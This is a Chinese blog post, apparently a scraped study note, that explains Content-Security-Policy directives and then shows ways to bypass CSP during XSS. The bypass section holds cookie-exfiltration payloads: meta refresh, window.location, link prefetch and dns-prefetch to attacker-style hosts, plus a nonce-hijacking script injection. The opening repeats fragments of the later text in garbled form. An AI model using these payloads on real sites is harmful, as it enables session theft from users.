CSP策略及绕过方法
2017-06-26 10:45
211 查看
XSS的时候经常要绕过CSP,通过网上的资料进行学习
其中每一组策略包含一个策略指令和一个内容源列表
child-src
child-src 指定定义了 web workers 以及嵌套的浏览上下文(如
connect-src
connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。
font-src
font-src定义了字体加载的有效来源
img-src
img-src定义了页面中图片和图标的有效来源
media-src
object-src
script-src
script-src定义了页面中Javascript的有效来源
style-src
style-src定义了页面中CSS样式的有效来源
代表空集;即不匹配任何 URL。两侧单引号是必须的。
‘self’
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
‘unsafe-inline’
允许使用内联资源,如内联的
允许data: URI作为内容来源。
mediastream:
允许mediastream: URI作为内容来源。
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
2、
CSP对link标签的预加载功能考虑不完善。
在Chrome下,可以使用如下标签发送cookie
在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
那么当脚本插入点为如下的情况时
这样会拼成一个新的script标签,其中的src可以自由设定
真是学习了
CSP策略
一个CSP头由多组CSP策略组成,中间由分号分隔,就像这样:Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
其中每一组策略包含一个策略指令和一个内容源列表
一、常用的策略指令:
default-src
default-src 指令定义了那些没有被更精确指令指定的安全策略。这些指令包括:child-src
child-src 指定定义了 web workers 以及嵌套的浏览上下文(如
<frame>和
<iframe>)的源。
connect-src
connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。
font-src
font-src定义了字体加载的有效来源
img-src
img-src定义了页面中图片和图标的有效来源
media-src
object-src
script-src
script-src定义了页面中Javascript的有效来源
style-src
style-src定义了页面中CSS样式的有效来源
二、内容源:
内容源有三种:源列表、关键字和数据1、源列表
源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, '*'),端口号也可以使用通配符 (同样是 '*') 来表明所有合法端口都是有效来源。主机通过空格分隔。 有效的主机表达式包括: http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。) mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。) https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。) 如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。
2、关键字
‘none’代表空集;即不匹配任何 URL。两侧单引号是必须的。
‘self’
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
‘unsafe-inline’
允许使用内联资源,如内联的
3、数据
data:允许data: URI作为内容来源。
mediastream:
允许mediastream: URI作为内容来源。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
CSP绕过方式
CSP的设置可能情况太多,这里只讨论几个比较典型的情况,其他的日后补充一、url跳转
在default-src ‘none’的情况下,可以使用meta标签实现跳转<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
<script> window.location="http://www.xss.com/x.php?c=[cookie]"; </script>
2、<link>
标签预加载
CSP对link标签的预加载功能考虑不完善。在Chrome下,可以使用如下标签发送cookie
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
3、利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
那么当脚本插入点为如下的情况时
<p>插入点</p> <script id="aa" nonce="abc">document.write('CSP');</script>
这样会拼成一个新的script标签,其中的src可以自由设定
<p><script src=//14.rs a="</p> <script id="aa" nonce="abc">document.write('CSP');</script>
真是学习了
相关文章推荐
- 绕过浏览器相同来源策略的一些方法
- 数据库安全:保证Oracle数据库安全性的策略和方法
- 企业集中管理方法:组策略的操作
- 网络中双绞线接线的方法和策略
- IE7绕过正版验证方法
- "域控制器安全策略"打开错误解决方法
- 《互联网项目运营分析》第十五章:企业网络项目运营策略与方法
- 本地策略不允许交互式登录的解决方法
- 禁止运行组策略的解决方法
- 此系统的本地策略不允许您采用交互式登录解决方法
- 绕过防火墙限制的两种方法
- 绕过微软正版认证的方法
- 绕过Windows操作系统正版验证新方法
- 论软件系统分析的方法和策略
- 网络中双绞线接线的方法和策略
- 策略模式以及策略模式与模板方法的结合
- SQL Server存储图像数据的策略与方法
- 关系数据库的查询优化策略----总结了一些查询优化的方法,希望可以对大家有所帮助(原创)
- 绕过Windows正版验证新方法
- "域控制器安全策略"打开错误解决方法 推荐